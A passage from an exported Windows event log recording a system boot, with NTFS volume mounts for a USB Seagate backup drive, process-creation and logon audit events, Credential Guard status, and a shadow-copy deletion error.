Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 82525\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.370\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 161\n           Longest run cached: 23.86 GB\n           Most populated bin Count: 16\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.540\t101\tInitialized VolumeCacheMap for device guid: {5285d7ae-0000-0000-0000-300432000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:55.548\t1\t\tInformation\tSystem\tWDTDrv\n05.09.2026 08:28:55.712\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x5e8\n\tNew Process Name:\tC:\\Windows\\System32\\smss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x3d0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.715\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x5f0\n\tNew Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4b0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.716\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x5f8\n\tNew Process Name:\tC:\\Windows\\System32\\csrss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5e8\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.731\t19\t\"Virtualization Based Security new timer creation status\n\nHRESULT: The operation completed successfully.\nNew latch timer needed: false\nNew latch timer waiting for system update completion: false\nPrevious latch timer exists but disabled by registry: false\nPolicy file exists: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.731\t24\t\"Boot App Anti-Rollback: Timer start completed with status:\n\nWin32Error: 0\nStart time: \u200e2026\u200e-\u200e08\u200e-\u200e12T18:07:00.129105700Z\nGrace period: 51840000000000\nDue time: \u200e2026\u200e-\u200e10\u200e-\u200e11T18:07:00.129105700Z\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.731\t25\t\"Boot App Anti-Rollback: Previous timer resumed with status:\n\nHRESULT: The operation completed successfully.\nPrevious timer present: true\nStart time: \u200e2026\u200e-\u200e08\u200e-\u200e12T18:07:00.129105700Z\nGrace period: 51840000000000\nAttempted recovery enforcement succeeded: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.731\t23\t\"Boot App Anti-Rollback: Initialize Completed with status:\nHRESULT: The operation completed successfully.\nNew timer needed: false\nNew timer waiting for system update completion: false\nPrevious latch timer exists but disabled by registry: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:55.987\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Device number: 1\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 457 ms\n           Longest stage: 7. Duration 246 ms (54% of the total)\n           Second longest stage: 8. Duration 156 ms (34% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.987\t98\tVolume F: (\\Device\\HarddiskVolume9) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.987\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 228940\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.987\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 1036\n           Longest run cached: 37.35 MB\n           Most populated bin Count: 38\n           Most populated bin's minimum length: 8 KB\n           Most populated bin's maximum length: 8 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.220\t101\tInitialized VolumeCacheMap for device guid: {5285d7ae-0000-0000-0000-a058d5000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:56.502\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Device number: 1\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 345 ms\n           Longest stage: 8. Duration 125 ms (36% of the total)\n           Second longest stage: 7. Duration 62 ms (18% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.502\t98\tVolume G: (\\Device\\HarddiskVolume10) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.502\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 37990\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.502\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 193\n           Longest run cached: 4.90 GB\n           Most populated bin Count: 68\n           Most populated bin's minimum length: 0 Bytes\n           Most populated bin's maximum length: 4 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:56.556\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:28:56.782\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:28:57.027\t25\tThe shadow copies of volume C: were deleted because the shadow copy storage could not grow in time.  Consider reducing the IO load on the system or choose a shadow copy storage volume that is not being shadow copied.\tError\tSystem\tVolsnap\n05.09.2026 08:28:57.080\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x66c\n\tNew Process Name:\tC:\\Windows\\System32\\winlogon.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5e8\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.081\t1010\t\"Device STORAGE\\VolumeSnapshot\\HarddiskVolumeSnapshot1 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:57.082\t1010\t\"Device STORAGE\\VolumeSnapshot\\HarddiskVolumeSnapshot2 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:57.082\t1010\t\"Device STORAGE\\VolumeSnapshot\\HarddiskVolumeSnapshot3 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:57.082\t300\t\"NTFS volume dismount has started.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n           \n           Adapter serial number: \n           \n           Process Id: 4\n           Process name: System\n           \n           Reason: Surprise removal\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:57.083\t303\t\"The NTFS volume has successfully dismounted.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: Windows\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Process Id: 4\n           Process name: System\n           \n           Reason: Surprise removal\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:57.098\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x68c\n\tNew Process Name:\tC:\\Windows\\System32\\services.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5f0\n\tCreator Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.116\t14\t\"Credential Guard configuration:\n\nRegistry Configuration: 0x0\nTest Configuration: 0\nAuto Enablement: 0\"\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:57.120\t5\tSecure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:57.120\t1\tSecure Trustlet \\??\\C:\\WINDOWS\\system32\\lsaiso.exe Id 1 and Pid 1720 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:57.120\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x6b8\n\tNew Process Name:\tC:\\Windows\\System32\\LsaIso.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5f0\n\tCreator Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.121\t18\tVBS Key Isolation was started and will protect VSM-isolated keys.\tInformation\tSystem\tMicrosoft-Windows-Wininit\n05.09.2026 08:28:57.124\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x6c4\n\tNew Process Name:\tC:\\Windows\\System32\\lsass.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x5f0\n\tCreator Process Name:\tC:\\Windows\\System32\\wininit.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.352\t6156\t\"Credential Guard auto enablement status.\n\nHardware Requirements for Virtualization Based Security:\t1\nDomain Joined:\t0\nAzure AD Joined:\t0\n Licensed for Credential Guard:\t0\nDomain Controller:\t0\"\tInformation\tSystem\tLsaSrv\n05.09.2026 08:28:57.358\t6417\t\"The FIPS mode crypto selftests succeeded.\n\n\tProcess ID:\t\t0x6c4\n\tProcess Name:\t\tC:\\Windows\\System32\\lsass.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.359\t4608\t\"Windows is starting up.\n\nThis event is logged when LSASS.EXE starts and the auditing subsystem is initialized.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.361\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nLogon Information:\n\tLogon Type:\t\t0\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\t-\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x4\n\tProcess Name:\t\t\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\t-\n\tAuthentication Package:\t-\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.398\t5\tSecure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:57.440\t4902\t\"The Per-user audit policy table was created.\n\nNumber of Elements:\t0\nPolicy ID:\t0x14306\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.442\t16962\t\"Remote calls to the SAM database are being restricted using the default security descriptor: O:SYG:SYD:(A;;RC;;;BA).\nFor more information please see http://go.microsoft.com/fwlink/?LinkId=787651.\"\tInformation\tSystem\tMicrosoft-Windows-Directory-Services-SAM\n05.09.2026 08:28:57.447\t16977\t\"The domain is configured with the following minimum password length-related settings.\n\nMinimumPasswordLength: 0\n\nRelaxMinimumPasswordLengthLimits: 0\n\nMinimumPasswordLengthAudit: -1\n\nFor more information see https://go.microsoft.com/fwlink/?LinkId=2097191.\n\"\tInformation\tSystem\tMicrosoft-Windows-Directory-Services-SAM\n05.09.2026 08:28:57.447\t16983\t\"The security account manager is now logging periodic summary events for remote clients that call legacy password change or set RPC methods.\n\nFor more information please see https://go.microsoft.com/fwlink/?linkid=2150956.\n\"\tInformation\tSystem\tMicrosoft-Windows-Directory-Services-SAM\n05.09.2026 08:28:57.458\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tUMFD-0\n\tAccount Domain:\t\tFont Driver Host\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0x5f0\n\tProcess Name:\t\tC:\\Windows\\System32\\wininit.exe\n\nNetwork Information:\n\tNetwork Address:\t-\n\tPort:\t\t\t-\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.458\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-96-0-0\n\tAccount Name:\t\tUMFD-0\n\tAccount Domain:\t\tFont Driver Host\n\tLogon ID:\t\t0x147B8\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x5f0\n\tProcess Name:\t\tC:\\Windows\\System32\\wininit.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.458\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tUMFD-1\n\tAccount Domain:\t\tFont Driver Host\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tNetwork Address:\t-\n\tPort:\t\t\t-\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.458\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual 